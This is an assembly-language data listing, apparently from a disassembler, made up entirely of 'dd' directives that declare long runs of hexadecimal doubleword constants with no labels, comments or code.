dd 6F3D724Ch, 64C8DAB2h, 0CF192075h, 0DC514317h, 0E9A7D449h
dd 3F20A8A8h, 48D4ABFh, 12DA3D80h, 8E23543Ah, 0ACB47600h
dd 58979515h, 5885FC31h, 3874C946h, 3E1B8040h, 607C02EBh
dd 76E1B814h, 7E03FA8Ah, 43821753h, 7120F066h, 2405972Fh
dd 0F8F8AC41h, 2C008C32h, 28910A81h, 122B4ACCh, 0F12F7924h
dd 0E925E4E8h, 0B0A43244h, 0FAB01324h, 5DDC20A7h, 2F1639C8h
dd 10F0BC0Ah, 313040CDh, 6EACA251h, 98181C76h, 220C8ADBh
dd 0E88A418h, 260D081Fh, 589C0227h, 8CFC33C7h, 9899AEA0h
dd 57865D81h, 406AEC02h, 0E19E4B34h, 2FE26234h, 0CFFCE500h
dd 0FBEBDF0Ah, 879B00C2h, 99B9E119h, 97601CAAh, 0FD610A80h
dd 71DD09DBh, 9CF0123Dh, 0C45E8B2Dh, 2ED25E7Ch, 38A523FCh
dd 0C4844E00h, 0F921B978h, 0C60B3BEEh, 0C1AECC08h, 4F2F50ACh
dd 90A07100h, 8F51F509h, 6F65A801h, 3E89A301h, 494723Fh
dd 0F601A464h, 0ED66C36Ah, 0FC4A496h, 54085FDEh, 0E159020h
dd 9D1DE042h, 96F14045h, 0EBCBE00Bh, 0D3C85000h, 0AAB25C98h
dd 0D929C327h, 0C2E0B723h, 9601EECEh, 588C568Ah, 282C4E43h
dd 9FEF0F00h, 33575AC2h, 362453Ah, 0A095322Ch, 787ADBF1h
dd 779D078Ch, 4A996393h, 40023A94h, 898604ABh, 0D0A03049h
dd 0DC98F7D6h, 0B726F07h, 5089442Bh, 82F11D18h, 0B7D1012Ch
dd 80E7BAEDh, 66E3D911h, 771B96ACh, 480F162Bh, 0F01CC7A1h
dd 0FEE158A9h, 2434AA2Ch, 51397D02h, 43A0811Dh, 0C02305A3h
dd 0C2FE8101h, 0E8926AC4h, 150057C0h, 97F19F42h, 4CB3B5C3h
dd 4E80B0ACh, 0B4FF11F6h, 4303742Eh, 4D491830h, 0D20D096Ah
dd 2840FAF4h, 76741B8Bh, 0A4B3A917h, 0A0B720D2h, 78F2AD4h
dd 7E0606AEh, 0C8723728h, 0F64C7101h, 97651D20h, 0B402BC40h
dd 0BEAE0339h, 0D8F832FEh, 0A1445914h, 0F4A705A4h, 3001D9B3h
dd 0EF8CB1CAh, 12002828h, 75D13C95h, 0E948BA2Eh, 0C4F42510h
dd 43794014h, 0F57C5C00h, 9DCAD66Bh, 0A89022h, 6D076052h
dd 3DDF355Bh, 0DA82E3Bh, 287CAAA3h, 23CFFC0h, 7A22996Dh
dd 0D140CC32h, 0DB02256Bh, 0FEC894A5h, 0B753C054h, 7DCA00D5h
dd 0AF011D86h, 0F200B479h, 3AE65F33h, 193C18h, 6AE9F5CAh
dd 0BCB39A1Ah, 9603AA76h, 3BAB9427h, 919982Dh, 0CF8EED5h
dd 9AC1CD47h, 1E0EE688h, 0E08F9B87h, 892B5029h, 1D1F006Ch
dd 41CCE17Ah, 0AD0059D6h, 0BBE884Bh, 30ACBDAAh, 0FC41C5CDh
dd 0E38CC5Eh, 0B0770028h, 3B5D5CA5h, 3D305CA6h, 33810D00h
dd 6E1190B6h, 647C99E8h, 0D4A3BF3Ch, 0B858B484h, 5E560034h
dd 805DDF54h, 99A43052h, 0B80A1040h, 813571F9h, 18E5AA31h
dd 0B6E09DCBh, 90960041h, 99D3F5EEh, 0BF60A3B4h, 58DC7729h
dd 9B8C1F79h, 7B0D0C34h, 0E500D918h, 29E47514h, 0E2B708DBh
dd 189C00CCh, 0D5366F7Fh, 0F900B58Dh, 0B6DD3BB4h, 0E3E46h
dd 0CA394B54h, 0DC04155h, 0DB3F10C4h, 0B3DECD60h, 0C8886A73h
dd 0BDB118C9h, 0E061403Fh, 4F4162Bh, 17C21406h, 2E060610h
dd 21E219D9h, 34009098h, 68327340h, 74D37C7Dh, 218A6069h
dd 8434C327h, 8D0185E0h, 2EE15FFEh, 244A0781h, 40CB88C8h
dd 14428E0Eh, 500A0672h, 0C6E19703h, 10A67B9Dh, 6CC8410Fh
dd 6A3EA0CDh, 0CC3DFC08h, 0A1210908h, 716D3101h, 8927B921h
dd 0E6486F20h, 4F6E027Eh, 0B630611Fh, 49548090h, 72CEA101h
dd 7509DDBDh, 21190998h, 0A200B1B4h, 993CBBEEh, 63FBF306h
dd 1493B9F6h, 1DAA4900h, 0A43956BBh, 0A4201F5h, 5EBC9B63h
dd 0C7C091FDh, 0C26CC383h, 0B3136AAh, 6CCCBC10h, 0F1775007h
dd 73158E9Fh, 0F9148806h, 12371279h, 0B0650009h, 571A486Ch
dd 0BC793C28h, 0CE01C546h, 0D2734434h, 88890C69h, 3400C73Bh
dd 872E598Eh, 6A66F83h, 0D5787EB5h, 360ED8F5h, 9744EEF3h
dd 371C3A00h, 65F015h, 0FB097263h, 9848F434h, 76842D54h
dd 5AC158h, 0FC5D119Eh, 0E858C997h, 0D321C00Bh, 0EF443ADEh
dd 0F800E390h, 0A86F93A5h, 0E3FCF095h, 0AE579981h, 81FB6692h
dd 97012410h, 81C8E694h, 629C0CE5h, 0DBA8F6A6h, 5492AF88h
dd 5FA072h, 7338204Eh, 52B0DBB4h, 0C5D54919h, 0D9166BB8h
dd 4297BE00h, 0E3B738BAh, 0B094369Ch, 5646D851h, 0C63AC302h
dd 0EE1CA19Eh, 0F33A00D8h, 0F222EBB4h, 9E0FB6BFh, 174A6E5h
dd 0AE8911FCh, 7C81A180h, 25CB8CBDh, 0E2146203h, 0D9C47B0Ah
dd 51801B99h, 8E5D567Fh, 0EF00F249h, 51744EF5h, 4CE254Bh
dd 669B1C9Ch, 0FB0C88BDh, 732F388h, 0BE27CF4Fh, 2E7EC322h
dd 96F51812h, 0FA2CA820h, 0F3740DAAh, 42213EF8h, 8132C6FCh
dd 0FA7347C8h, 8D221C26h, 34DC2E01h, 0F1ACF698h, 808C59A8h
dd 0AB95F544h, 0F971E3A4h
dd 7F309035h, 0E6BF31A8h, 22069D19h, 72150078h, 87A656B5h
dd 69A0C829h, 382C3208h, 317B1101h, 800996F6h, 0F2E72A41h
dd 60141505h, 0AD3179F5h, 3200E826h, 0C52A99FFh, 3625F44h
dd 0F3D9EB7Fh, 5212088Ah, 4453365h, 44027411h, 0A0086F7Eh
dd 0F52BAEC0h, 210490BAh, 0CC8399B1h, 929EC93Ah, 10051958h
dd 0F3AC5D6h, 6A028E16h, 32F5A101h, 0D002001h, 4F58208Ah
dd 348BF2h, 3E73D257h, 0CF8D4E71h, 51079430h, 3E639C6Ch
dd 0E900E8F2h, 0B3EAB7E1h, 4D03C346h, 2AA0B94Fh, 15A3E05Dh
dd 417C039Bh, 2997F7Dh, 6D00417Eh, 2264E71Dh, 71CB840Fh
dd 5EB87A0Eh, 0F88FA1F4h, 0A6580407h, 560B7641h, 20FFF8F0h
dd 7E9BA408h, 34C89AADh, 0C0B9F314h, 0CE86837Fh, 4984B00h
dd 20BD7728h, 7F240552h, 0B9D2F8h, 2A36A5F8h, 41F69EFCh
dd 0BF319C0Ah, 6580E01Ah, 0CC250777h, 3D331CC4h, 0FCB40068h
dd 118A7031h, 8EF58507h, 534EF372h, 121B828h, 42EA64B2h
dd 60B02607h, 0FC097E31h, 42369DAh, 2C450A4Ch, 886C8E47h
dd 5E0CF84h, 8E19D642h, 0FA22AF1Ch, 611E72C1h, 2063B5CAh
dd 0C0A1430Fh, 0CA70ADA8h, 4CA10556h, 5F707E31h, 2BA30EACh
dd 92A210A3h, 0C700E1E2h, 4C8ACEh, 98238568h, 0F860E7DEh
dd 6FDAFD02h, 0C2B33C1Fh, 0A91A8C40h, 0A8AD52F5h, 40809D26h
dd 0C51BBF7Dh, 50230500h, 0C08AEBE2h, 749B0048h, 0B024F63Ch
dd 14262D12h, 0C4640029h, 4934C560h, 20CA7323h, 0DE20033Ch
dd 56D95034h, 7F832F5h, 85912495h, 9A723A80h, 0CFF8A48Fh
dd 0A9498D98h, 7028803Ch, 28B8C293h, 21C00889h, 4780B63Eh
dd 4D72C4A1h, 1A4486DCh, 94F5CB6h, 0A5A2F90Eh, 742945A0h
dd 89AC193h, 0E8CD50CAh, 0F9A14EC3h, 0C219A572h, 18C0CB25h
dd 0C11EC8h, 6673DAF6h, 9C228581h, 19DB80A1h, 7F4E34C4h
dd 0A4685273h, 34F93DC0h, 0CB267714h, 7260E415h, 1EF683Ch
dd 0F22AEB84h, 3073C27Dh, 345CAF58h, 3FF82328h, 50C36C9Dh
dd 0CBBBE02Eh, 0C27036Ch, 0FEF0A39Fh, 933069D6h, 451DF91Fh
dd 960F010Dh, 67B1E99Dh, 0B2E4732Dh, 0D4BC3085h, 6CFCBE00h
dd 87352882h, 0E4EC146Fh, 0B448B88Dh, 48217811h, 984F10B0h
dd 0F73DCEC0h, 0B4B1D99Eh, 3AC7ECC0h, 2FA60052h, 0FCA474Fh
dd 8050E175h, 69888DA0h, 0FDEE48AEh, 31776E00h, 3EA15906h
dd 840154FCh, 9F136311h, 0B8629429h, 7D3CC600h, 0C4A93DDBh
dd 153F1C01h, 2A51BF43h, 98F878F9h, 0BAFB4816h, 0B8E17C19h
dd 8CF184Ah, 0C19ECA3Ah, 0ED400FC4h, 0D1753AC4h, 0B48E8506h
dd 44803E81h, 63003609h, 0FDEA3B62h, 0C076B09Ch, 21FF1619h
dd 712C992Dh, 660BAC91h, 0E4FC229Dh, 235A20F9h, 2801B456h
dd 0D1B97CA4h, 1C298694h, 99C86200h, 5D7A08A3h, 0FDCF1C00h
dd 0E1F23E2Dh, 47B8949Fh, 0DC0ECB12h, 0C137B884h, 9FC5E4h
dd 0C7FFBFB6h, 806EDC91h, 0BA6A18BEh, 0EA5F6904h, 0B8CC95F6h
dd 0BFA218F2h, 1E6611FCh, 3C964172h, 7D3EBFC1h, 3F5020h
dd 904AA92h, 4637EDDDh, 3C00E2EEh, 74B96261h, 0F8A839h
dd 0E091EF26h, 2AD9B6EBh, 2D89DA04h, 8806C2Fh, 1831115h
dd 0B617B028h, 0C9801B0Eh, 6801CCC3h, 0E4EAC600h, 0D6EC98BCh
dd 89837h, 54058FB9h, 622AC557h, 1839E00h, 0F0D73F50h
dd 0ADEF01D4h, 37688286h, 2955F44Ah, 0BB33A400h, 7F6789A6h
dd 3EC5006Dh, 0D1BCBEB3h, 2100B450h, 0AC97CD31h, 98D996C0h
dd 0F97200F0h, 0E1A471C8h, 4B0EB064h, 7DBA11Eh, 0CA101F17h
dd 0D795BCh, 7E6B4B1h, 36238E14h, 2DB09B00h, 7E8A7550h
dd 4A210031h, 597DAFAh, 0A200E87Ch, 29FB63ADh, 16EF196Dh
dd 0BF6607h, 15E094A7h, 60010588h, 69842014h, 48803A93h
dd 75E126F4h, 0DD12EE5Ch, 0C422DB8Bh, 0CE94812Dh, 0A8D35F88h
dd 7B7DAC4h, 2F4163BDh, 9E9B0189h, 0AD588020h, 0BB0D44F8h
dd 0C950090h, 0C3ACCF02h, 1E5C7BA0h, 80763976h, 5FC947E4h
dd 480EE6DDh, 0C09D10F8h, 2AC3A75Dh, 3300ACB1h, 20658FF6h
dd 25791Ch, 12DA71A2h, 93BA02A5h, 0E6039000h, 7E8BBC0Fh
dd 7CA0041h, 0E3695D1Ch, 0AD0051FCh, 0FD44F521h, 3AC1BF1h
dd 0B3087718h, 86D8AED3h, 0FB7E7CE9h, 88BEC807h, 3E90030Eh
dd 78A54E02h, 4A6A1CD8h, 93DD074Bh, 0D97E3A0h, 0E58DCFE0h
dd 0FAA4983Fh, 4900CC79h, 0D4109FD9h, 85218Eh, 0B2636130h
dd 86474C5Eh, 1AB3FA03h, 0A005DBA5h, 4DCDB959h, 6D0FC0E1h
dd 81A057DCh, 0E577BC32h, 8AA72E00h, 7967DA15h, 89CC00B8h
dd 5019E9CEh, 450FD625h, 20E693C0h, 0DA1820E7h, 0D3020049h
dd 17E24235h, 0A31DA279h, 6800DC73h, 8F015977h, 1CFC0153h
dd 0CA45B0E1h, 0C1E97091h, 0EFAF440Eh, 2B0D4002h, 3D6B4E6h
dd 9F03799h, 428AB954h, 3402B472h, 588FADB6h, 3A8C9072h
dd 0E070BDFCh, 0A25B6C07h, 0D0BC9E3Ch, 0AAD700EDh, 0D25A5C71h
dd 8004BC59h, 0E0418861h, 0F5401487h, 0BE78C5h, 96A44D0Fh
dd 7E7A3908h, 0DDE8A754h, 14D84814h, 0BD600EAFh, 0F7185889h
dd 1E397E44h, 56DC0498h, 30542012h, 0CA0019C9h, 4FB92878h
dd 1E346824h, 40E1D81Ch, 9CB3CD2Eh, 63006AE8h, 61323EBEh
dd 5C5D810Fh, 0FF0074A5h, 5C2F21B1h, 2E732BA9h, 0A6D1DB0Eh
dd 55B4E0DFh, 77EFA0h, 237E87ECh, 363C380Ah, 0C2665Ch
dd 80018D1Ch, 958652h, 387221C9h, 5931AE5Eh, 0E70099EAh
dd 32017E84h, 708B75BEh, 0A6D21805h, 6D208C4Ch, 804B9A3Ah
dd 85031AA3h, 2C1DED6h, 86EADBCCh, 1050E857h, 0FC03D173h
dd 0E5D6E2C2h, 31881F2Bh, 4043DF25h, 0C699B191h, 4F29498h
dd 0FC22EA00h, 967323A6h, 5916008Ch, 672FB930h, 4D00CEE3h
dd 35ABFEB5h, 0E8CD42B0h, 532E0011h, 0A585726h, 0D409E671h
dd 33AA514h, 0B15E5600h, 0EF42A59h, 408101D9h, 0F8066DBh
dd 5EC2CCEh, 42174CFh, 4E08A880h, 609700DCh, 0D3992B1Fh
dd 0F51440F3h, 1F4E5B8h, 0DDB163FEh, 1181FDB5h, 2CB0331Bh
dd 30D3CD7Ch, 8C90FC78h, 27B6F412h, 2F7FD80Fh, 0F6A420D5h
dd 0AD1E01h, 7C80FD8Bh, 271B99CCh, 9B582E00h, 7276BFEAh
dd 0F8EAD5h, 0B3157CF1h, 6E861F5Eh, 0E3706C90h, 21CD5B30h
dd 2A4CED14h, 0B0F593h, 9F404D4Fh, 7D6B59FFh, 850A7500h
dd 0A0CADC8Ch, 0CFE324EDh, 0D5900033h, 0B950D28Fh, 9D009AE4h
dd 46A6311Bh, 0C701ECEh, 9B9E8D72h, 0C7022218h, 19EF0512h
dd 0F19080A9h, 68CFBFFh, 5EA746D0h, 331F289Dh, 0E68F5CA0h
dd 15AB4021h, 7C83CFCh, 988F35A8h, 0EAC20052h, 8100504Eh
dd 0AD54D365h, 1975767h, 0C9C37179h, 0E895CCBAh, 34504E1Eh
dd 263AD8F0h, 0A7AE0056h, 1320724Dh, 0ABE103A9h, 0B01CE0A4h
dd 7A5256A0h, 8B530700h, 15596D2Dh, 49320097h, 0AA8FD2B5h
dd 650B0879h, 81808486h, 3CB6FEDAh, 2347C4h, 0A70DBEE9h
dd 20212DDFh, 9750F500h, 0ACF98509h, 90410081h, 197BA85Eh
dd 3900EAE5h, 981529B3h, 2C0EDEh, 5F9FE3ACh, 11F48883h
dd 0D6F4B677h, 0DC92FC24h, 15D89340h, 0BC275E58h, 87590115h
dd 0B98CF088h, 4E2D0CBh, 1A3C00ECh, 947525A1h, 0B89A715Fh
dd 46CC28A0h, 0B9209004h, 0C0AA954Eh, 0BD0EE9E3h, 0A600E075h
dd 9C46C1C4h, 0E6CB622h, 63E4CDB1h, 4D03D02Fh, 0BAC0284Ah
dd 0C828D266h, 0AF000842h, 87BE29DCh, 2A9E024h, 0FD949F32h
dd 506812A2h, 7D606FDCh
dd 0C4B15489h, 0DD020188h, 0D79F1DC1h, 86E8F32Dh, 9BEADB72h
dd 18489728h, 1296FA00h, 0C1DC628Bh, 657472h, 1041DC2h
dd 0AD40F073h, 198A4300h, 0BBC1C70Bh, 0AFEE00CCh, 75655E7Dh
dd 0F00D014h, 0B07B4248h, 5E2BA6Ch, 0AECC38CFh, 52388047h
dd 0B472D473h, 0F4C25A00h, 0F2D9CB87h, 75720BE6h, 0D0AFFD3Dh
dd 40D6EE6Eh, 7424F5D8h, 75007F0Fh, 7D49ACDDh, 6862A6h
dd 953614Eh, 0CF72ED2Eh, 12BDFA07h, 0AA20EF9Dh, 0E274B20h
dd 4AF3788Ch, 0F8E91F40h, 7B000D8Fh, 12053E2h, 3357BFh
dd 130E3568h, 9C56FB79h, 0C801547Ch, 97EA9DAh, 64DD0773h
dd 0F1AAD4h, 3E724C1Eh, 836A1470h, 0A3FF1900h, 5F2E8229h
dd 0BDEC0081h, 0A96E97ACh, 8400EF6Dh, 366949D7h, 0DC4A0F2h
dd 507EFD5Ch, 0EA7DD08Eh, 2E5D8400h, 4767C509h, 28C0504h
dd 0E30ADE94h, 0BF04D098h, 8E019BE8h, 0A060428h, 1980FE19h
dd 0C3A14A22h, 39118BD1h, 3300F114h, 9E497299h, 7400FFDBh
dd 44FFBE6h, 0EC379F88h, 0C0B577F7h, 73176A61h, 5F1D9283h
dd 2D8B7721h, 0B5608114h, 70F4F513h, 0F6BE30B2h, 2A576031h
dd 0EF933100h, 7DD44E3Ch, 0AE9900F8h, 686B05F2h, 0C41FFB08h
dd 9847F4CFh, 9680168Fh, 0BC8197h, 88744E93h, 1EEED808h
dd 489253Dh, 7A9D536Bh, 7B18A0C8h, 649800CCh, 31BEDE5Ah
dd 6C09F0DCh, 0E17CC5F6h, 0D5606FCCh, 0F2ED048Dh, 0A93819E2h
dd 669B030Ch, 98491179h, 0C00DC283h, 8CE82370h, 7B06197Eh
dd 75DA8B74h, 0F8710718h, 0C90C3D65h, 9C72CD87h, 6E313131h
dd 8597DE61h, 3F66030h, 68722519h, 0E815068Ch, 1B8CB3BFh
dd 2C4F07Fh, 7E94CB60h, 0D88B096Bh, 8EADEA01h, 7D118068h
dd 0F0156CC3h, 82D9286Dh, 7FB57790h, 232E034Bh, 0EF83A56Bh
dd 0C2088AE8h, 12BBFA03h, 0F8E06377h, 4A29D90h, 0C161817Dh
dd 71089802h, 4D418300h, 9B05EDDAh, 6247D64h, 68937F43h
dd 6D005085h, 0C8C6A82Fh, 62177DF7h, 19BEC8F8h, 0FD4CD20h
dd 0A88200D5h, 8D23AA05h, 43008F4Fh, 16775572h, 0CFF544Ah
dd 69F9F0E4h, 3707C6F0h, 8A1E3475h, 0CF30C710h, 936127F5h
dd 0A48000AFh, 3923650Fh, 0E408550Bh, 6F544001h, 0B4E01Eh
dd 97FBF20Dh, 0BEF51CABh, 0A1FCF100h, 0C9C87759h, 94791B16h
dd 1903F0DDh, 0BF30D7BDh, 14B900F0h, 81A31D2Ah, 0A5712D51h
dd 5A0094EAh, 97F1B7A7h, 34A1825h, 6DF4B9C8h, 0F839F6D0h
dd 43FC809Fh, 0FFD5A4DEh, 0CA900E97h, 0F5627BD3h, 684AD775h
dd 8131D861h, 52667119h, 0F07C1774h, 1B040321h, 84813A95h
dd 37001EBBh, 0E492669Dh, 62BA530Fh, 0D31D6090h, 0EAEF5F4Dh
dd 50E87E7Fh, 394A40Fh, 0A62E2324h, 57E07E1Eh, 0C81EF673h
dd 0A91E3BE3h, 72241400h, 0E18756D3h, 0E236FB60h, 0E4CC009Eh
dd 5CC5F877h, 0D071C2ECh, 51C4ED00h, 0BFA36C3Ch, 0D5713965h
dd 0ECB76D00h, 0D2C7254Ah, 0C9F74C00h, 937B3E4h, 2F4B1F14h
dd 18B218CFh, 270A73A4h, 2002FCB1h, 2029AAF3h, 96A813D6h
dd 68D3D707h, 6CF01EB9h, 787F9CD5h, 3C5B7850h, 0B580FBD8h
dd 2ECB8EDFh, 81011F64h, 5EBD48BEh, 88C4973h, 0D74188B3h
dd 0DE058A00h, 0EABF82B6h, 5614A847h, 8B4A0728h, 0C7B3E3EEh
dd 0F8E1E0FDh, 89007B98h, 0A17C5D25h, 2774337h, 6F03B456h
dd 34ACB991h, 1D00FD08h, 37BFA672h, 11C4EB4h, 4C8E225Dh
dd 88DEDAC5h, 818FB180h, 0B44F4AA6h, 0E22886A4h, 21415C4Dh
dd 0A505744h, 3C63007Ah, 3FA984D3h, 791DCDE1h, 5DCF2D43h
dd 4A78A3Eh, 600E7E50h, 0B90F1071h, 0AB002BDEh, 7D733D50h
dd 14596BEh, 7E3C61C8h, 0DCE21E80h, 0CF6ED911h, 7CE8C429h
dd 48CDFA04h, 0DD6842E4h, 6520C524h, 0D8816024h, 0D7442708h
dd 443284F9h, 10BC51CBh, 0AD89D909h, 0D06EFD08h, 5C849029h
dd 0EB8144D3h, 926DC600h, 16C00656h, 8B25C9B1h, 335E006Eh
dd 0FFF43439h, 0B000607Ch, 0DA8419DEh, 31C0EE6h, 5F265A8Fh
dd 49A89FD3h, 4300A19Ah, 0CF7CF65h, 0D50BDBh, 6BC52029h
dd 0E3E0CEECh, 0C7508A00h, 83D155FDh, 18DD01E4h, 16A5C653h
dd 4B74F849h, 3C19500h, 171E4088h, 0E8BB0114h, 26E343A0h
dd 0A7FFC04Eh, 9EA5AA00h, 5AB30493h, 0E25E009Ch, 65245D47h
dd 0D5F62881h, 0E3C30900h, 0A10FA674h, 5DF6075Eh, 90632A89h
dd 0EDA62CEh, 9F8B3200h, 2F8FDEEBh, 5B9907C5h, 0F823BCh
dd 0C464A83Eh, 0FE17E100h, 5A9CB0A0h, 0E4820038h, 7514D3C3h
dd 0F0B5D9F7h, 9BF90021h, 0F88ECE55h, 0D83C549Ah, 6B0C00ADh
dd 2251C384h, 4B5C0045h, 2844412Eh, 0E5078BD9h, 8780E9C9h
dd 0ACF8ED70h, 0BAB900B3h, 0B4014DE7h, 0DA3DEA13h, 60A60F0Bh
dd 814F4183h, 54C0F3B6h, 0B07F1E28h, 0B4A98B7Dh, 0BAE8F300h
dd 0E0B7FE56h, 41CBC5h, 0E48D2652h, 4D2FBCF1h, 109BB807h
dd 0FC40D9EFh, 0E61477F6h, 0AE7270h, 4256A906h, 0AC072A72h
dd 1A034DFAh, 0BB6B8162h, 85CBF1DCh, 54D68C20h, 74FD8A3h
dd 2E864330h, 81A220CEh, 0ED00347Bh, 80246A8h, 50C46AEEh
dd 7FE8C0h, 5887D65Eh, 96E6BC32h, 0D8781E00h, 0BAD78B86h
dd 26AB3BA1h, 0B94C280h, 0A40521DFh, 0EE9F0C00h, 0B4992FF0h
dd 9D88A0E6h, 5EE40011h, 74B1C0C7h, 52752046h, 0DCBC1500h
dd 5A2DD150h, 929F7D66h, 28700E8h, 9DADE9F5h, 68C07AEEh
dd 7DC78FAFh, 78933033h, 68273958h, 656B7C0Eh, 0A453A11Fh
dd 0CC40EB45h, 12FB24Bh, 0D49570A7h, 0C8313380h, 2E00B66Eh
dd 0FF38ED42h, 4DBD1C8Fh, 0FD0020B5h, 40C6C5B7h, 0B9246242h
dd 0C4826C9Fh, 43674EF0h, 76A0AF34h, 2B0940h, 12CB7825h
dd 3B3DAE7h, 0AEC35C01h, 0B14BE9DDh, 107E03Eh, 0A0E036E8h
dd 0DC2E5B18h, 3D4154E9h, 75184F35h, 0DFBA5887h, 94A76801h
dd 7EA396FDh, 0B94AB8DBh, 3D78EAh, 0C69A8423h, 1B8BA956h
dd 0DD63600h, 0ABF50E01h, 417024D8h, 383D0074h, 0F75EB58Ah
dd 2B3BFE00h, 24237587h, 38C87904h, 0B08FE0AFh, 86009AE9h
dd 45AB0532h, 5E2895F0h, 360184DEh, 0F5C6433Dh, 39E07FFEh
dd 9E3B1E35h, 0E4A9C0CEh, 90EC0FA3h, 2A0E6000h, 5776A6F4h
dd 0AB5F004Ch, 0EFA38F36h, 6A77B969h, 7F953B0Fh, 3007D306h
dd 5A171385h, 6E7E73A0h, 7D67A2Ch, 0D39E8C27h, 0B85BF0B7h
dd 750462CCh, 0B8944E9h, 1E200488h, 3D2C9E2h, 734523DFh
dd 0E45FD4D9h, 0F804160Bh, 6EA8A493h, 0B7700C87h, 2ED35BFh
dd 0F47F7CF6h, 2C4059BDh, 60E2F96Dh, 4600B398h, 0BEBC2B52h
dd 0EE06A23h, 800720FEh, 37EC9EE0h, 2A1EEE2Ch, 60002888h
dd 33D69981h, 74A2010Ah, 26AA293Bh, 0E080DEF1h, 1BC74BBEh
dd 0B8CAC51Fh, 5BFC0C00h, 0A3BD8331h, 0C00ABACCh, 4EA108h
dd 32507F1h, 916023B6h, 53F6CB00h, 76F069A5h, 0A2663F55h
dd 7EACD0h, 86A15AD3h, 182CF524h, 90B148h, 364C5BEEh, 1CF61AF4h
dd 40647371h, 0FCCC2C5Eh, 0A00A442h, 0A75B0466h, 5414EEh
dd 411094DFh, 932DEDCEh, 9EA0BBF2h, 91009E0Fh, 84A12CA6h
dd 90DF7E4h, 0C7EAB7AFh, 0D6E0E28Fh, 73B3AE56h, 0ABB052E4h
dd 620227FCh, 49F6925h, 118080BAh, 30D65C6h, 186B1073h
dd 4AA0B80Fh, 21F07771h, 0A7E5CF00h, 0FD820932h, 3BDF66Ah
dd 8E232234h, 6E99F579h, 0FC153091h, 0B04EE603h, 9B5A2E6Ch
dd 52600370h, 6678925Bh, 0B3743E88h, 0BEB2E300h, 82360643h
dd 42CB007Bh
dd 891614DEh, 79737D90h, 749F1000h, 0D5A1318Ah, 40B51F25h
dd 136141ECh, 0D0E5595Fh, 7100E2B7h, 0FA4CFB0Eh, 0CE7CA6h
dd 1F8CAF41h, 92158D6Dh, 10072E0Fh, 0EA26087h, 0E66EFCh
dd 0D46C8CC3h, 78D6D2B9h, 0D0BDEE12h, 1DC0A01Dh, 5E16A6E3h
dd 0D94100A0h, 0EAFEDB15h, 0C40049A3h, 708C6FC3h, 0CB2980h
dd 7F16CA95h, 0D648FEECh, 0FC3B00Bh, 538800E5h, 249EF573h
dd 1A05867h, 5A761B25h, 0C3D8CB90h, 0A0008AEAh, 0AC819513h
dd 131CB3CBh, 20D62086h, 9ACA593Ch, 1DC27016h, 0CC412C00h
dd 3F13E347h, 368006C0h, 0A6A99874h, 0A1005502h, 0FE2EDC81h
dd 929F43Fh, 9A28C42Dh, 976A077Fh, 87DB8370h, 7FE223h
dd 4992E0A1h, 0DCA87E71h, 0E5B158h, 8EB38445h, 1F2F9503h
dd 0C0898030h, 0E787DCBh, 7F8A3C6h, 92EA7A60h, 33DA5465h
dd 2E3180B6h, 25A97FE8h, 0BFF21600h, 96E73488h, 0C54A1DEDh
dd 0A04DC7FBh, 2C752129h, 0A1AFDCBBh, 0B621EE00h, 94DB063Ch
dd 4554136Ah, 85B43287h, 0D80B8241h, 896776DAh, 0D710C258h
dd 1D13242Eh, 0C1076C39h, 82A6C68Eh, 0B2E440D4h, 0FA00EE01h
dd 0D5AC42DEh, 0FEF609A4h, 850700EAh, 0D913EFE8h, 0B5009C94h
dd 0CD867516h, 4B18A3h, 7F6C1297h, 463556CAh, 99AF8202h
dd 576BBBh, 711F0EB1h, 6C245506h, 12853Ah, 68489AA5h, 7233250Fh
dd 0ACE48100h, 0B92C5AFBh, 0BA640099h, 1DFCC9C0h, 67016B97h
dd 0A6E22D3Ch, 0F7D3864Dh, 0A55C2190h, 0E3F22EDBh, 0D2CB00D8h
dd 0D1D51A9h, 0FF340A1Fh, 7E9C0E80h, 0EE17076h, 0C9FA42E4h
dd 57461AE0h, 0BB090799h, 80F9BACFh, 2417B93Ch, 0DAAB402Ch
dd 7290CA01h, 0DB75EE0h, 5CA8C8F0h, 0C00F529Ah, 0FA00D502h
dd 0A26B159Ch, 23401900h, 0DA8D5407h, 4F1226B1h, 8E5200E3h
dd 0F31D42DDh, 0A8C83F30h, 2EE3AAC3h, 2C802C18h, 0FFEF8040h
dd 34F7737Ch, 0F87D7700h, 5FB59B15h, 0E518020Dh, 0C70C0F0Ah
dd 9F77040h, 0BDB8B200h, 9C12EAE6h, 13050598h, 0C392A52Fh
dd 62B05B08h, 55E20B42h, 48E9900h, 0B79DA310h, 26EF006Fh
dd 0A1B32D02h, 0DD701FD1h, 0FD150800h, 9D80F2C3h, 18397065h
dd 10F3932Ch, 41070995h, 0E6F7A4BBh, 63990660h, 2679168Ch
dd 6AE50032h, 0DC3F733Eh, 0B6AC4402h, 8083F875h, 2C3C8EA4h
dd 13940356h, 44929153h, 0ECCC7E89h, 6AEE665Bh, 0FE244601h
dd 0A9F4CE4Eh, 7FC6260h, 0DCDED61h, 0BF9FA130h, 3185D4F2h
dd 0C30C4714h, 0EE970BA4h, 616490CEh, 0EED85877h, 0E22B0074h
dd 85B2981Eh, 390B05E4h, 3868B1Bh, 0D3FF1198h, 0A917154h
dd 0E59D0372h, 80AD1C9Ch, 58D77E25h, 90001C82h, 0B4F61551h
dd 0CDE9BC6h, 0A8BDF5A6h, 0D60128D8h, 67DCC562h, 0D430E76Dh
dd 49A10BECh, 0CCA71B86h, 0A8C5F059h, 0B6008BBAh, 874FDB7Eh
dd 0E271598h, 28047D3Dh, 9F5B813Dh, 2C1847A2h, 716300F0h
dd 5ECCDBF1h, 7E52005Fh, 2A9A4481h, 0AF0061ACh, 9BDAE142h
dd 57B53DBh, 0DD364186h, 18CCC09Eh, 9C00FEFFh, 0EF8B9954h
dd 0A82762h, 0A03AF3CEh, 4B6C71ABh, 0BE0B6400h, 6ED3C46Fh
dd 779200C0h, 0AC9541B3h, 0A800521Bh, 0E48ACEFFh, 861DFBh
dd 0BD2E3F5Fh, 6B672DB2h, 870ED300h, 76D85159h, 0F2AA146Eh
dd 200FB010h, 0BB20A242h, 410DE285h, 73804300h, 5ADEF912h
dd 155E4DAh, 79062988h, 216AA57Ch, 0E4B8E4C2h, 5DDC6017h
dd 0A1D96040h, 99D216h, 0DB615CDAh, 0B1EAEE39h, 34380F00h
dd 28EC37C5h, 8E712631h, 0B6144060h, 0C5E0A6CFh, 513B8F00h
dd 5D4DEA97h, 48DB28BAh, 86A000F2h, 4C13A536h, 5907F988h
dd 613374DDh, 60CD9042h, 1DE0E475h, 0AEC37E6Ah, 0BD5F0EBCh
